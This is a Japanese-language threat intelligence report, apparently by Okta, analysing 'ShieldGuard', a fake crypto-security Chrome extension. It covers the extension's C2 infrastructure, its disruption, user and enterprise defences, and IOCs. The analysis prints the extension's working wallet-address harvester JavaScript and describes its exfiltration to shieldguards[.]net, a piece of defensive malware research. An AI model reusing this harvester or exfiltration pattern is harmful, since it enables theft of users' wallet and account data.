エグゼクティブサマリー
Okta Threat Intelligenceは、「ShieldGuard」と呼ばれる暗号資産詐欺を発見し、業界パートナーと協力してそのインフラストラクチャを停止させました。
ShieldGuardは、ブロックチェーンプロジェクトだと主張し、ブラウザ拡張機能のプロモーションを通じて、暗号資産ウォレットに対する既知の脅威(フィッシングや悪意のあるスマートコントラクトなど)をブロックする機能を提供すると謳っています。
このプロジェクトは、マルチレベルマーケティングキャンペーンを通じてプロモーションが行われました。このキャンペーンでは、拡張機能を早期に使用したユーザー(暗号資産の「エアドロップ」経由)や、他のユーザーにこの機能を広めたユーザーに報酬が与えられました。
以下で詳述するブラウザ拡張機能の分析から、その真の目的が明らかになりました。ShieldGuardは、Binance、Coinbase、MetaMask、OpenSea、Phantom、Uniswapなどの主要な暗号資産プラットフォームやGoogleサービスのユーザーから、ウォレットアドレスなどの機密データを収集するように設計されているようです。
この拡張機能は、ユーザーがブラウザ経由でBinance、Coinbase、OpenSea、Uniswapのいずれかにサインインした後、ページの完全なHTMLも抽出します。
脅威分析
ShieldGuardは、Web3サービスのユーザー向けの正規のセキュリティアプリケーションとして、公開Webサイトで宣伝されていました。
ShieldGuardの開発者は、以下にも登録されています。
Google Chromeストアでの掲載
x[.]comのソーシャルメディアプロフィール
Telegramチャンネル
ShieldGuardのWebサイト、および関連するソーシャルメディアのプロフィールでは、ユーザーがリクエストに署名する前に、この拡張機能が不審なトランザクションを検知すると謳っていました。
ブラウザ拡張機能の作成者は、「エアドロップ」を開始してダウンロードを促進しようとしました。
エアドロップとは、ブロックチェーン対応のサービスをコミュニティの早期ユーザーが「ブートストラップ」するマーケティングキャンペーンです。指定された期日より前にサインアップした早期ユーザーには、何らかの価値と交換できるコインまたはトークンが発行されます。
これらのトークンの配布対象となるには、関心のあるユーザーはブラウザ拡張機能をダウンロードし、申請ポータルでユーザーアカウントにサインアップする必要がありました。
ShieldGuardのウェブサイトでは、ソフトウェアがユーザーの暗号資産ウォレットに直接アクセスする必要はないと説明し、見込みユーザーを安心させています。この拡張機能は、中央サーバーにポーリングして既知の脅威に関する最新情報を取得し、ユーザーのブラウザで脅威を特定します。
Oktaがブラウザ拡張機能を分析した結果、多岐にわたる非常に多様な機能が含まれていることが判明しました:
ブラウザ拡張機能は、EIP-6963ウォレットディスカバリープロトコルを使用して、ユーザーがアクセスしたあらゆるWebサイトから暗号資産ウォレットのアドレスを収集します。
ブラウザ拡張機能は、暗号資産取引所やDeFiサイトからページ全体のコンテンツ(アカウント残高、ポートフォリオデータ、取引履歴など)を抜き取ります。
このブラウザからの情報窃取は、拡張機能が実行されているデバイス上で任意のコードを実行する能力を持ちます。これは、コマンドに応じて正規のWebサイトへのアクセスをブロックし、偽のセキュリティ警告に置き換える機能によって実証されています。
ブラウザ拡張機能は、永続的なUUIDを介して、すべてのブラウジングセッションでユーザーを追跡します。
マルウェア分析
分析環境
脅威を安全に分析するため、「ShieldGuard」ブラウザ拡張機能をインストールし、分離されたコンテナ化ブラウザ内で実行しました。初期の静的解析により、この拡張機能のコードが高度に難読化されていることが判明しました。これは、悪意のある攻撃者がレビュープロセスでの検出を回避し、リバースエンジニアリングを複雑にするためによく用いる手口です。
アーキテクチャと回避技術
ShieldGuardは、ChromeのManifest V3のセキュリティ制限を回避するために設計された、高度なマルウェアであることが明らかになりました。これを実現するために、完全なカスタムJavaScriptインタープリター(vendor.js)をバンドルしています。
リモートコード実行の禁止を回避:禁止されているeval()などの関数の代わりに、拡張機能のバックグラウンドスクリプトが、コマンド&コントロール(C2)サーバーからエンコードされたスクリプト文字列を取得します。その後、カスタムJSインタープリターを使用してこれらのスクリプトを解析し、被害者のWebページのコンテキスト内で実行します。これにより、攻撃者はChromeのセキュリティポリシーをトリガーすることなく、オンデマンドで任意のコードをリモートで実行できます。
{
"params": {
"initiator": "chrome-extension://olnppmocapoaecjhkiilemmnkjbmabfj",
"load_flags": 65536,
"method": "POST",
"network_isolation_key": "chrome-extension://olnppmocapoaecjhkiilemmnkjbmabfj chrome-extension://olnppmocapoaecjhkiilemmnkjbmabfj",
"request_type": "other",
"site_for_cookies": "SiteForCookies: {site=chrome-extension://olnppmocapoaecjhkiilemmnkjbmabfj; schemefully_same=true}",
"upload_id": "0",
"url": "https://shieldguards.net/scripts"
}
"phase": 1,
"source": {
"id": 93345,
"start_time": "2954914022",
"type": 1
}
"time": "2954914022",
"type": 124
}
- 欺瞞的な権限:インストール時に、この拡張機能は「すべてのWebサイトのすべてのデータを読み取り、変更する」権限を要求し、被害者の閲覧アクティビティへのフルアクセスを取得します。
悪意のあるペイロードとデータ窃取
動的解析により、以下の攻撃フローが確認されました。
- ブラウザ拡張機能をインストールしたユーザーがWebサイトにアクセスします
- 拡張機能は、shieldguards[.]net/scriptsにあるコマンドおよびコントロールサーバーに接続します。
- サーバーはEIP-6963ウォレット検出スクリプトを返します。
- スクリプトは、インストールされているすべてのウォレットを検出します。
- スクリプトは、検出されたウォレットからウォレットアドレスを抽出します。
- すべてのEthereumアドレスが検出されたウォレットから抽出されます。
- ユーザーがBinance、Coinbase、OpenSea、またはUniswapに移動した場合、拡張機能は一定時間待機してから、ページの完全なHTMLをキャプチャします。
- HTMLスナップショットが外部に送信されます
Oktaの分析により、shieldguards[.]netにあるC2サーバーが、2つの主なペイロードを積極的に配信していることが判明しました。
- ペイロード1:ウォレットアドレスハーベスター(すべてのWebサイト):
被害者がアクセスするすべてのWebサイトにスクリプトが挿入されます。EIP-6963ウォレットディスカバリープロトコルを使用して、インストールされているすべてのウォレット拡張機能(MetaMask、Phantom、Coinbase Walletなど)を検出し、関連するすべてのEthereumウォレットアドレスを取得して、このリストをhttps://shieldguards[.]net/notificationsにあるC2エンドポイントに流出させます。
これにより、攻撃者は被害者のウォレットと閲覧習慣に関する包括的な情報を把握できます。
window.addEventListener('eip6963:announceProvider', function(event) {
var info = event.detail.info;
var provider = event.detail.provider;
provider.request({ method: 'eth_accounts' }).then(function(accounts) {
for (let ac = 0; ac < accounts.length; ac++) {
send({
type: "address",
chain: '0x1',
extension: info.name,
address: accounts[ac]
});
}
});
});
window.dispatchEvent(new Event('eip6963:requestProvider'));
ペイロード2:ページのコンテンツのスナップショット(ターゲットの暗号資産サイト):
価値の高いターゲットに対しては、2番目のペイロードが配信されます。ページが完全にレンダリングされるように5秒間待機した後、このスクリプトはページ全体のHTML(document.documentElement.outerHTML)をキャプチャし、https://shieldguards[.]net/snapshotsに送信します。これにより、攻撃者はDOMから直接、口座残高、ポートフォリオの保有資産、取引履歴などの機密データを窃取できるようになります。
コマンド&コントロール(C2)インフラストラクチャ
ブラウザ拡張機能は、shieldguards[.]netでホストされているC2サーバーと通信します。このサーバーはCloudflareを介してプロキシされます。
特定された主要なC2エンドポイントは以下のとおりです。
エンドポイント | HTTPリクエストメソッド | 目的 |
/scripts | 投稿 | 悪意のあるJavaScriptペイロードを配信します。 |
/snapshots | 投稿 | 流出したページのHTMLを受信します。 |
/notifications | 投稿 | ウォレットアドレスなどの盗まれたデータを受信します。 |
/check/{domain} | GET | ドメインをブロックすべきか、「安全」と表示すべきかを判断します。 |
/uninstall | GET | UUIDを介してユーザーが拡張機能をアンインストールした日時を追跡します。 |
アトリビューションとリンクされたキャンペーン
カスタムJavaScriptインタープリター内で見つかったロシア語のエラー文字列(「Ошибка: не удалось определить домен」)とキリル文字のサポートから、攻撃者がロシア語話者である可能性が考えられます。
この調査では、「Radex」として知られる別の悪意のあるキャンペーンとの強いつながりも明らかになりました。Auth0テナント(radex4me@proton.me)のセットアップに使用された管理者アカウントとRadexに関連付けられたChrome拡張機能ID(fkogigpebmhlbldifmjngmlooifljnif)の間の関連性が確認されました。両方のキャンペーンは、非常に高い確率で、同一の攻撃者によって実行されている可能性があります。
ディスラプション
Okta Threat Intelligenceは、業界パートナーと連携して以下を行っています。
すべてのサインイン機能を無効にする。
shieldguards[.]netドメインをCDNサービスからを削除し、防弾ホスティングプロバイダーであるPartner Hosting LTDにあるウェブサイトのオリジンサーバーを明らかにする。
shieldguardsブラウザ拡張機能をGoogle Chromeストアから削除する。
shieldguards[.]netドメインをドメインレジストラーから削除する。これにより、既存のブラウザ拡張機能のインストールがC2インフラストラクチャから切断されました。
エンドユーザーへのアドバイス
「うますぎる話」の罠に注意する
正規のサインアッププロモーションも存在しますが、詐欺師は無料の暗号資産や高リターンを約束して、偽の切迫感を煽ることがよくあります。話がうますぎるように思える場合、ほぼ間違いなく裏があります。
より安全なオンラインブラウジングを実践する
ブラウザのプラグインは、マルウェアの一般的な感染源です。これらをインストールすると、見知らぬ第三者がブラウザのウィンドウ、履歴、さらにはパスワードやセッションCookieにまで完全にアクセスできるようになります。
暗号資産取引所のような機密性の高いアカウントへのアクセスに使用するデバイスでは、ブラウザのプラグインを排除しないまでも、制限することが最善のセキュリティ対策です。
ブラウザのプラグインがどうしても必要な場合は、以下の厳格なガイドラインに従ってください。
公式ソースのみ:プラグインは、公式ストアフロント(Chromeウェブストア、Mozillaアドオン、またはApple Safari機能拡張)からのみインストールします。これらのストアで拡張機能が提供されていることや、肯定的なレビューがあることを信頼性の指標にしないでください。悪意のあるブラウザ拡張機能は、提供するアクセス権限が悪用されるまで、高い評価を維持することがあります。
権限を制限する:ブラウザのプラグインがクリックされたときにのみ有効になるように設定するか、特定の必要なWebサイトでのみ実行されるように制限します。
定期的な監査:インストール済みの拡張機能を定期的に監査し、不要なものは削除または無効化します。
区画化:暗号資産の取引や機密性の高い作業には、完全に分離されたクリーンなブラウザ(またはすべてのプラグインが無効になっている厳格なプライベート/シークレットモード)を専用で使用します。
暗号資産ウォレットを保護する
信頼性の高いオフラインハードウェアウォレットを使用し、貼り付けたアドレスを念入りにダブルチェックし、フィッシング耐性のあるMFAを有効にすることで、ブラウザの侵害からデジタル資産を保護しましょう。
Oktaのお客様へのアドバイス
企業リソースへのアクセスに使用されるすべてのブラウザで、サードパーティ製コードの実行をセキュリティチームが制御できるようにする、許可リスト登録戦略を推奨します。
2つの推奨アプローチを以下に示します。
1. 管理対象のChromeを展開する:
管理対象の企業デバイスにおけるローカル管理者権限を制限する。
Okta認証ポリシーで機密リソースにアクセスするには、管理対象デバイスを必須にする
ユーザーデバイスにマネージドChromeブラウザを展開する
承認済みのブラウザ拡張機能の許可リストを作成し、ユーザーが管理者の承認なしに他の拡張機能を追加できないようにする。
ユーザーが新しい拡張機能をリクエストするためのプロセスを策定する。
2. 高度なポスチャチェック:
Okta認証ポリシーで機密リソースにアクセスするには、管理対象デバイスを必須にする
ユーザーのデバイスにOkta Verifyを展開する(Okta管理コンソールで入手可能な最新バージョンを使用)。
高度なポスチャチェック(Oktaのデバイスアシュアランスポリシーの一部)を使用して、サインイン時にユーザーのブラウザで実行されているブラウザ拡張機能を評価します。許可リストに登録されたブラウザ拡張機能からは機密リソースへのアクセスを許可し、それ以外からのアクセスはすべて拒否する認証ポリシーを作成します。
ブラウザで実行されている拡張機能が原因でリソースへのアクセスを拒否されたユーザー向けに、カスタムの修復メッセージを作成します。
ユーザーが新しい拡張機能をリクエストするためのプロセスを策定する。
侵害の兆候
タイプ | インジケーター | コメント |
AS番号 | AS215826 | 悪意のあるトラフィックを配信する防弾ホスティングの自律システム |
Chrome拡張機能ID | olnppmocapoaecjhkiilemmnkjbmabfj | ShieldGuardツール拡張機能ID |
Chrome拡張機能ID | fkogigpebmhlbldifmjngmlooifljnif | Radex拡張機能ID |